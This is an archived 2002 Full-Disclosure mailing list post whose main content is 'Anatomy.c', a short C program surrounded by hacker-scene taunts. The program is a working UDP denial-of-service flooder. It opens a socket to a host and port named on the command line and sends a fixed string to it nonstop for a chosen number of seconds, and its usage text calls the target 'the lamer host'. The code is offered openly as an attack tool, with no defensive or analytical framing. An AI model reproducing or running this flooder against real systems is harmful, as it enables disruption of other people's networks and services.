OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Slack wh0re (slackwh0re_at_hotmail.com)
Date: Mon Aug 26 2002 - 20:37:37 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    /*
    * Anatomy.c
    * I have no idea how this could be a threat
    * if it would be kept private.
    *
    * Published by: slackwh0re
    <slackwh0refuck-el8-and-fuck-phrack_at_efnet.com>
    * Author: unknown <unknownunknown.unk>
    *
    * k1dd13 us4g3: ./anatomy
    * 3ls3: `vi anatomy.c`
    *
    * --slackwh0re
    *
    * Full-Disclosure, Fresh and shiny.
    * Full-Disclosure, Unreal hacking.
    * Full-Disclosure, Cos that's the real elite shit.
    * Full-Disclosure, Ken Levine does it.
    * Full-Disclosure, - since 1901.
    * Full-Disclosure, ~/Full-Disclosure directory.
    * Full-Disclosure, Erected because of it.
    * Full-Disclosure, Lame el8 blames
    * Full-Disclosure,l8er.
    *
    * He said: "Don't wonder why there is no comments."
    */

    #define BOMB_STRING "0123456789ABCDE"
    #define BOMB_SIZE 15

    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>

    int echo_connect(char *, short);

    int echo_connect(char *server, short port)
    {
       struct sockaddr_in sin;
       struct hostent *hp;
       int thesock;

       printf("\n");
       printf("Stealth> %s : port %d\n", server, port);
       hp = gethostbyname(server);
       if (hp==NULL) {
    printf("Stealth> Non-existant host: %s\n",server);
    printf("\n");
    exit(0);
       }
       bzero((char*) &sin, sizeof(sin));
       bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
       sin.sin_family = hp->h_addrtype;
       sin.sin_port = htons(port);
       thesock = socket(AF_INET, SOCK_DGRAM, 0);
       connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
       return thesock;
    }
    main(int argc, char **argv)
    {
       time_t start=time(NULL);
       int s;
       int secs;
       if(argc != 4)
       {

    printf("\n");
    printf("Anatomy Stealth By T10o Modified By The DvS. U dun PheeR?!\n");
    printf("\n");
    printf("Usage: st-kill <the lamer host> <fucking port> <secs>\n");
    printf("\n");
    exit(0);
       }
       s=echo_connect(argv[1], atoi(argv[2]));
       secs= atoi(argv[3]);
       for(;;)
       {
    while(time(NULL) <= start+secs)
    {send(s, BOMB_STRING, BOMB_SIZE, 0);}
    exit(0);
       }
    }

    /* From the big generousity of el8 and phrack efnet. */
                    /* l4m3rz!! h4h4!!! */

    _________________________________________________________________
    Chat with friends online, try MSN Messenger: http://messenger.msn.com

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html